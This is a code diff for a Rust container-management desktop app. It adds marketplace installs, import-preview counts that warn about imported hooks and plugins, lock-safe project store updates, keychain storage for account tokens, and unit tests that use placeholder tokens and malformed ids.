assert_eq!(marketplace_slug("--"), "mp-marketplace");
}
#[test]
fn commits_must_be_full_lowercase_hex() {
assert!(is_valid_commit(&"a".repeat(40)));
assert!(!is_valid_commit(&"A".repeat(40)));
assert!(!is_valid_commit(&"a".repeat(39)));
assert!(!is_valid_commit("HEAD"));
}
#[test]
fn install_scope_serialises_tagged() {
assert_eq!(
serde_json::to_value(InstallScope::Global).unwrap(),
serde_json::json!({"type": "global"})
);
assert_eq!(
serde_json::to_value(InstallScope::Project {
project_id: "p".into()
})
.unwrap(),
serde_json::json!({"type": "project", "project_id": "p"})
);
}
#[test]
fn kinds_serialise_snake_case() {
assert_eq!(serde_json::to_value(ItemKind::Plugin).unwrap(), "plugin");
assert_eq!(
serde_json::to_value(AccountMethod::GhHost).unwrap(),
"gh_host"
);
}
#[test]
fn settings_and_projects_saved_before_the_marketplace_still_load() {
let mut settings = serde_json::to_value(crate::models::AppSettings::default()).unwrap();
for key in [
"marketplace_accounts",
"marketplaces",
"global_marketplace_installs",
] {
settings.as_object_mut().unwrap().remove(key);
}
let settings: crate::models::AppSettings = serde_json::from_value(settings).unwrap();
assert!(settings.marketplace_accounts.is_empty());
assert!(settings.marketplaces.is_empty());
assert!(settings.global_marketplace_installs.is_empty());
let mut project =
serde_json::to_value(crate::models::Project::new("p".to_string(), Vec::new())).unwrap();
for key in ["marketplace_installs", "marketplace_disabled"] {
project.as_object_mut().unwrap().remove(key);
}
let project: crate::models::Project = serde_json::from_value(project).unwrap();
assert!(project.marketplace_installs.is_empty());
assert!(project.marketplace_disabled.is_empty());
}
}
+1
View File
@@ -1,6 +1,7 @@
pub mod app_settings;
pub mod container_config;
pub mod gateway_settings;
pub mod marketplace;
pub mod migration;
pub mod note;
pub mod project;
+28 -5
View File
@@ -446,6 +446,12 @@ pub struct Project {
/// User-defined display names for terminal tabs, keyed by session id.
#[serde(default)]
pub renamed_session_names: HashMap<String, String>,
/// Marketplace items installed for this project only (spec §2).
#[serde(default)]
pub marketplace_installs: Vec<super::marketplace::MarketplaceInstall>,
/// Global marketplace installs this project opts out of.
#[serde(default)]
pub marketplace_disabled: Vec<super::marketplace::MarketplaceItemRef>,
pub created_at: String,
pub updated_at: String,
}
@@ -693,6 +699,8 @@ impl Project {
claude_instructions: None,
claude_code_settings: None,
renamed_session_names: HashMap::new(),
marketplace_installs: Vec::new(),
marketplace_disabled: Vec::new(),
created_at: now.clone(),
updated_at: now,
}
@@ -789,7 +797,10 @@ mod tests {
}
fn env(key: &str, value: &str) -> EnvVar {
EnvVar { key: key.to_string(), value: value.to_string() }
EnvVar {
key: key.to_string(),
value: value.to_string(),
}
}
#[test]
@@ -887,7 +898,10 @@ mod tests {
// `merge_claude_code_settings` spells it. `main` resolved this with
// `if p.env_scrub { true } else { g.env_scrub }`, i.e. the global won —
// and it has to go on winning, because the user never turned this off.
let global = ClaudeCodeSettings { env_scrub: Some(true), ..Default::default() };
let global = ClaudeCodeSettings {
env_scrub: Some(true),
..Default::default()
};
assert_eq!(
stored.env_scrub.or(global.env_scrub),
Some(true),
@@ -902,7 +916,10 @@ mod tests {
let json = r#"{ "env_scrub": false }"#;
let chosen: ClaudeCodeSettings = serde_json::from_str(json).unwrap();
assert_eq!(chosen.env_scrub, Some(false));
let global = ClaudeCodeSettings { env_scrub: Some(true), ..Default::default() };
let global = ClaudeCodeSettings {
env_scrub: Some(true),
..Default::default()
};
assert_eq!(chosen.env_scrub.or(global.env_scrub), Some(false));
}
@@ -916,7 +933,10 @@ mod tests {
assert_eq!(json, "{}");
assert!(!json.contains("null"));
let partial = ClaudeCodeSettings { env_scrub: Some(false), ..Default::default() };
let partial = ClaudeCodeSettings {
env_scrub: Some(false),
..Default::default()
};
let json = serde_json::to_string(&partial).unwrap();
assert_eq!(json, r#"{"env_scrub":false}"#);
// And it reads back as what it is.
@@ -984,7 +1004,10 @@ mod tests {
});
let migrated = Project::migrate_from_value(legacy);
let obj = migrated.as_object().unwrap();
assert!(obj.contains_key("paths"), "the migration should still do its own job");
assert!(
obj.contains_key("paths"),
"the migration should still do its own job"
);
assert!(!obj.contains_key("auth_bridge_enabled"));
assert!(!obj.contains_key("browser_view_enabled"));
}
+114
View File
@@ -25,6 +25,8 @@
//! "only overwrite what the import actually has" treatment as the other
//! three secrets.
use std::collections::BTreeMap;
use serde::{Deserialize, Serialize};
use super::{AppSettings, ImageSource};
@@ -56,6 +58,12 @@ pub struct ExportedSecrets {
/// export wholesale.
#[serde(default)]
pub web_terminal_access_token: Option<String>,
/// Marketplace account tokens (`Token` and `GhContainer` accounts; a
/// `GhHost` account stores none), keyed by account id. They live in the
/// keychain, not in `AppSettings::marketplace_accounts`, so they travel
/// here or an imported account could never fetch.
#[serde(default)]
pub marketplace_account_tokens: BTreeMap<String, String>,
}
impl ExportedSecrets {
@@ -65,6 +73,7 @@ impl ExportedSecrets {
&& blank(&self.gateway_api_key)
&& blank(&self.gateway_master_key)
&& blank(&self.web_terminal_access_token)
&& self.marketplace_account_tokens.values().all(|v| v.trim().is_empty())
}
}
@@ -147,6 +156,21 @@ pub struct SettingsImportPreview {
pub image_source: ImageSource,
#[serde(default)]
pub custom_image_name: Option<String>,
/// Marketplaces the import configures.
#[serde(default)]
pub marketplace_count: usize,
/// Hooks the import installs for every project. A hook runs commands in
/// each project container, and an imported install skips the confirm
/// step an install from the Marketplace tab shows, so the preview warns.
#[serde(default)]
pub global_hook_install_count: usize,
/// Plugins the import installs for every project. A plugin can bring
/// its own hooks and MCP servers, and skips the same confirm step.
#[serde(default)]
pub global_plugin_install_count: usize,
/// Non-blank marketplace account tokens the import restores.
#[serde(default)]
pub marketplace_account_token_count: usize,
}
/// A cap on how much of a decrypted, not-yet-trusted string gets echoed back
@@ -197,6 +221,25 @@ impl SettingsImportPreview {
gateway_api_base: sanitized_non_blank(&payload.settings.gateway.api_base),
image_source: payload.settings.image_source.clone(),
custom_image_name: sanitized_non_blank(&payload.settings.custom_image_name),
marketplace_count: payload.settings.marketplaces.len(),
global_hook_install_count: payload
.settings
.global_marketplace_installs
.iter()
.filter(|i| i.kind == crate::models::marketplace::ItemKind::Hook)
.count(),
global_plugin_install_count: payload
.settings
.global_marketplace_installs
.iter()
.filter(|i| i.kind == crate::models::marketplace::ItemKind::Plugin)
.count(),
marketplace_account_token_count: payload
.secrets
.marketplace_account_tokens
.values()
.filter(|v| !v.trim().is_empty())
.count(),
}
}
}
@@ -236,6 +279,7 @@ mod tests {
gateway_api_key: Some("sk-another-secret".to_string()),
gateway_master_key: Some("sk-triple-c-yet-another".to_string()),
web_terminal_access_token: Some("wt-super-secret-token".to_string()),
..Default::default()
});
let preview = SettingsImportPreview::from_payload(&payload);
let serialized = serde_json::to_string(&preview).unwrap();
@@ -260,6 +304,7 @@ mod tests {
gateway_api_key: None,
gateway_master_key: None,
web_terminal_access_token: Some(" ".to_string()),
..Default::default()
});
let preview = SettingsImportPreview::from_payload(&payload);
assert!(!preview.has_claude_oauth_token);
@@ -363,4 +408,73 @@ mod tests {
shown.chars().count()
);
}
#[test]
fn marketplaces_global_hooks_and_account_tokens_are_disclosed_without_the_tokens() {
use crate::models::marketplace::{ItemKind, Marketplace, MarketplaceInstall};
let mut payload = payload_with(ExportedSecrets {
marketplace_account_tokens: std::collections::BTreeMap::from([
("a1".to_string(), "test-token-not-real-1".to_string()),
("a2".to_string(), " ".to_string()),
]),
..Default::default()
});
payload.settings.marketplaces.push(Marketplace {
id: "m1".into(),
name: "Team".into(),
url: "https://example.invalid/r.git".into(),
branch: None,
account_id: None,
});
let install = |kind, key: &str| MarketplaceInstall {
marketplace_id: "m1".into(),
kind,
key: key.into(),
commit: "a".repeat(40),
};
payload.settings.global_marketplace_installs = vec![
install(ItemKind::Hook, "fmt"),
install(ItemKind::Agent, "rev"),
install(ItemKind::Hook, "lint"),
];
let preview = SettingsImportPreview::from_payload(&payload);
assert_eq!(preview.marketplace_count, 1);
assert_eq!(preview.global_hook_install_count, 2);
assert_eq!(preview.marketplace_account_token_count, 1, "a blank token is absent");
assert!(!serde_json::to_string(&preview).unwrap().contains("test-token-not-real"));
}
#[test]
fn a_bundle_holding_only_a_marketplace_token_is_not_empty() {
let secrets = ExportedSecrets {
marketplace_account_tokens: std::collections::BTreeMap::from([(
"a1".to_string(),
"test-token-not-real".to_string(),
)]),
..Default::default()
};
assert!(!secrets.is_empty());
}
#[test]
fn global_plugin_installs_are_counted_apart_from_hooks() {
use crate::models::marketplace::{ItemKind, MarketplaceInstall};
let mut payload = payload_with(ExportedSecrets::default());
let install = |kind, key: &str| MarketplaceInstall {
marketplace_id: "m1".into(),
kind,
key: key.into(),
commit: "a".repeat(40),
};
payload.settings.global_marketplace_installs = vec![
install(ItemKind::Plugin, "p1"),
install(ItemKind::Hook, "h1"),
install(ItemKind::Plugin, "p2"),
install(ItemKind::Skill, "s1"),
];
let preview = SettingsImportPreview::from_payload(&payload);
assert_eq!(preview.global_plugin_install_count, 2);
assert_eq!(preview.global_hook_install_count, 1);
}
}
+194
View File
@@ -2,6 +2,7 @@ use std::fs;
use std::path::{Path, PathBuf};
use std::sync::Mutex;
use crate::models::marketplace::{MarketplaceInstall, MarketplaceItemRef};
use crate::models::Project;
/// The sticky marker for `projects.json`: `projects.json.corrupt`, beside it.
@@ -204,6 +205,27 @@ impl ProjectsStore {
}
}
/// Replace a project with `updated`, after `restore` has copied onto it
/// the fields the store owns from the record *as stored under the lock*.
/// `update_project` restores from a copy it read earlier, so an install
/// or a status change landing in between would otherwise be written over
/// (re-review round 2).
pub fn update_restoring(
&self,
mut updated: Project,
restore: impl FnOnce(&mut Project, &Project),
) -> Result<Project, String> {
let mut projects = self.lock();
let p = projects
.iter_mut()
.find(|p| p.id == updated.id)
.ok_or_else(|| format!("Project {} not found", updated.id))?;
restore(&mut updated, p);
*p = updated.clone();
self.save(&projects)?;
Ok(updated)
}
pub fn remove(&self, id: &str) -> Result<(), String> {
let mut projects = self.lock();
let initial_len = projects.len();
@@ -256,6 +278,60 @@ impl ProjectsStore {
}
}
/// Read-modify-write of one project's marketplace installs and opt-outs
/// under the store's lock, touching nothing else (PR review #2): the
/// marketplace commands must not write back a whole record read before a
/// start changed its status or container id. When `f` fails nothing is
/// saved. Returns `f`'s value and the saved project.
pub fn update_marketplace_fields<T>(
&self,
project_id: &str,
f: impl FnOnce(
&mut Vec<MarketplaceInstall>,
&mut Vec<MarketplaceItemRef>,
) -> Result<T, String>,
) -> Result<(T, Project), String> {
let mut projects = self.lock();
let p = projects
.iter_mut()
.find(|p| p.id == project_id)
.ok_or_else(|| format!("Project {} not found", project_id))?;
let mut installs = p.marketplace_installs.clone();
let mut disabled = p.marketplace_disabled.clone();
let out = f(&mut installs, &mut disabled)?;
p.marketplace_installs = installs;
p.marketplace_disabled = disabled;
p.updated_at = chrono::Utc::now().to_rfc3339();
let saved = p.clone();
self.save(&projects)?;
Ok((out, saved))
}
/// [`Self::update_marketplace_fields`] over every project at once, in one
/// save. Projects `f` leaves as they were are not touched at all.
pub fn update_all_marketplace_fields(
&self,
mut f: impl FnMut(&mut Vec<MarketplaceInstall>, &mut Vec<MarketplaceItemRef>),
) -> Result<(), String> {
let mut projects = self.lock();
let mut changed = false;
for p in projects.iter_mut() {
let mut installs = p.marketplace_installs.clone();
let mut disabled = p.marketplace_disabled.clone();
f(&mut installs, &mut disabled);
if installs != p.marketplace_installs || disabled != p.marketplace_disabled {
p.marketplace_installs = installs;
p.marketplace_disabled = disabled;
p.updated_at = chrono::Utc::now().to_rfc3339();
changed = true;
}
}
if changed {
self.save(&projects)?;
}
Ok(())
}
pub fn set_container_id(&self, project_id: &str, container_id: Option<String>) -> Result<(), String> {
let mut projects = self.lock();
if let Some(p) = projects.iter_mut().find(|p| p.id == project_id) {
@@ -410,4 +486,122 @@ mod tests {
fs::remove_dir_all(&dir).ok();
}
fn market_install(key: &str) -> crate::models::marketplace::MarketplaceInstall {
crate::models::marketplace::MarketplaceInstall {
marketplace_id: "m1".into(),
kind: crate::models::marketplace::ItemKind::Agent,
key: key.into(),
commit: "a".repeat(40),
}
}
#[test]
fn marketplace_edits_keep_a_concurrent_status_and_container_change() {
// PR review #2: a marketplace install/uninstall used to write back a
// whole record read before a start flipped status and container_id,
// leaving the project stuck at Starting with no container.
let dir = temp_dir("marketplace-fields");
let project = Project::new("demo".to_string(), Vec::new());
let id = project.id.clone();
let store = store_over(&dir, vec![project]);
// The start flow moves on while a marketplace command is running.
store.set_container_id(&id, Some("cid-1".into())).unwrap();
store.update_status(&id, crate::models::ProjectStatus::Starting).unwrap();
let (added, saved) = store
.update_marketplace_fields(&id, |installs, disabled| {
installs.push(market_install("a"));
disabled.push(market_install("g").item_ref());
Ok(installs.len())
})
.unwrap();
assert_eq!(added, 1);
assert_eq!(saved.container_id.as_deref(), Some("cid-1"));
assert_eq!(saved.status, crate::models::ProjectStatus::Starting);
let on_disk: Vec<Project> =
serde_json::from_str(&fs::read_to_string(dir.join("projects.json")).unwrap()).unwrap();
assert_eq!(on_disk[0].container_id.as_deref(), Some("cid-1"));
assert_eq!(on_disk[0].marketplace_installs, vec![market_install("a")]);
// A refusal inside the closure writes nothing.
let before = fs::read_to_string(dir.join("projects.json")).unwrap();
let err = store
.update_marketplace_fields(&id, |installs, _| {
installs.clear();
Err::<(), _>("not installed".to_string())
})
.unwrap_err();
assert_eq!(err, "not installed");
assert_eq!(store.get(&id).unwrap().marketplace_installs.len(), 1);
assert_eq!(fs::read_to_string(dir.join("projects.json")).unwrap(), before);
assert!(store.update_marketplace_fields("nope", |_, _| Ok(())).is_err());
fs::remove_dir_all(&dir).ok();
}
#[test]
fn a_project_save_keeps_a_marketplace_install_made_after_it_read_the_record() {
// Re-review round 2: `update_project` read the stored record, then
// wrote the whole payload back later. An install landing in between
// was lost. The restore now runs against the record under the lock.
let dir = temp_dir("save-restore");
let project = Project::new("demo".to_string(), Vec::new());
let id = project.id.clone();
let store = store_over(&dir, vec![project]);
let mut payload = store.get(&id).unwrap(); // the Config tab's copy
payload.name = "renamed".to_string();
store
.update_marketplace_fields(&id, |installs, _| {
installs.push(market_install("late"));
Ok(())
})
.unwrap();
let saved = store
.update_restoring(payload, |incoming, stored| {
incoming.marketplace_installs = stored.marketplace_installs.clone();
incoming.marketplace_disabled = stored.marketplace_disabled.clone();
})
.unwrap();
assert_eq!(saved.name, "renamed");
assert_eq!(saved.marketplace_installs, vec![market_install("late")]);
assert_eq!(store.get(&id).unwrap().marketplace_installs, vec![market_install("late")]);
let mut ghost = Project::new("ghost".to_string(), Vec::new());
ghost.id = "nope".into();
assert!(store.update_restoring(ghost, |_, _| {}).is_err());
fs::remove_dir_all(&dir).ok();
}
#[test]
fn marketplace_edits_across_all_projects_touch_only_those_fields() {
let dir = temp_dir("marketplace-all");
let mut a = Project::new("a".to_string(), Vec::new());
a.marketplace_installs = vec![market_install("x")];
let b = Project::new("b".to_string(), Vec::new());
let (a_id, b_id) = (a.id.clone(), b.id.clone());
let store = store_over(&dir, vec![a, b]);
store.set_container_id(&b_id, Some("cid-b".into())).unwrap();
store.update_status(&a_id, crate::models::ProjectStatus::Running).unwrap();
let b_updated_at = store.get(&b_id).unwrap().updated_at;
store
.update_all_marketplace_fields(|installs, _| {
installs.retain(|i| i.marketplace_id != "m1")
})
.unwrap();
let a = store.get(&a_id).unwrap();
assert!(a.marketplace_installs.is_empty());
assert_eq!(a.status, crate::models::ProjectStatus::Running);
let b = store.get(&b_id).unwrap();
assert_eq!(b.container_id.as_deref(), Some("cid-b"));
assert_eq!(b.updated_at, b_updated_at, "an untouched project is not rewritten");
fs::remove_dir_all(&dir).ok();
}
}
+54
View File
@@ -369,6 +369,44 @@ pub fn store_gateway_master_key(key: &str) -> Result<(), String> {
bump_gateway_secret_version()
}
// ─────────────────────────────────────────────────────────────────────────────
// Marketplace account tokens (global, one entry per account)
// ─────────────────────────────────────────────────────────────────────────────
/// Keychain service prefix; the account id completes it.
const MARKETPLACE_TOKEN_SERVICE_PREFIX: &str = "triple-c-marketplace-account-";
/// The service name for one account. Ids are uuids; anything else is refused
/// before a keychain entry is constructed.
fn marketplace_token_service(account_id: &str) -> Result<String, String> {
let ok = !account_id.is_empty()
&& account_id.len() <= 64
&& account_id.bytes().all(|b| b.is_ascii_alphanumeric() || b == b'-');
if !ok {
return Err(format!("Invalid marketplace account id {:?}", account_id));
}
Ok(format!("{}{}", MARKETPLACE_TOKEN_SERVICE_PREFIX, account_id))
}
pub fn store_marketplace_token(account_id: &str, token: &str) -> Result<(), String> {
let service = marketplace_token_service(account_id)?;
if token.trim().is_empty() {
return Err("Refusing to store an empty marketplace token.".to_string());
}
let entry = keyring::Entry::new(&service, KEYCHAIN_ACCOUNT)
.map_err(|e| format!("Keyring error: {}", e))?;
entry
.set_password(token.trim())
.map_err(|e| format!("Failed to store the marketplace account token: {}", e))
}
pub fn get_marketplace_token(account_id: &str) -> Result<Option<String>, String> {
read_entry(&marketplace_token_service(account_id)?, "the marketplace account token")
}
pub fn delete_marketplace_token(account_id: &str) -> Result<(), String> {
delete_entry(&marketplace_token_service(account_id)?, "the marketplace account token")
}
#[cfg(test)]
mod tests {
@@ -426,6 +464,22 @@ mod tests {
assert!(err.contains("brand-new-token"), "{}", err);
}
/// Account ids become part of a keychain service name, so a malformed one
/// is refused before any entry is constructed — and so before the
/// keychain is touched, which is also what lets this run in CI.
#[test]
fn marketplace_token_ids_are_validated_before_the_keychain() {
for bad in ["", "../x", "a b", "x;y", &"a".repeat(65)] {
let err = store_marketplace_token(bad, "test-token-not-real").unwrap_err();
assert!(err.contains("Invalid marketplace account id"), "{bad:?}: {err}");
assert!(!err.contains("test-token-not-real"));
assert!(get_marketplace_token(bad).is_err());
assert!(delete_marketplace_token(bad).is_err());
}
let err = store_marketplace_token("0b9e6a2c-1111-4222-8333-944445555666", " ").unwrap_err();
assert!(err.contains("empty"));
}
/// The blanked-field case. `AccessSection.tsx` sends `gitToken || null`, so
/// a cleared field arrives as `None` — and before this existed, `None` was
/// skipped and the old secret stayed in the keychain forever.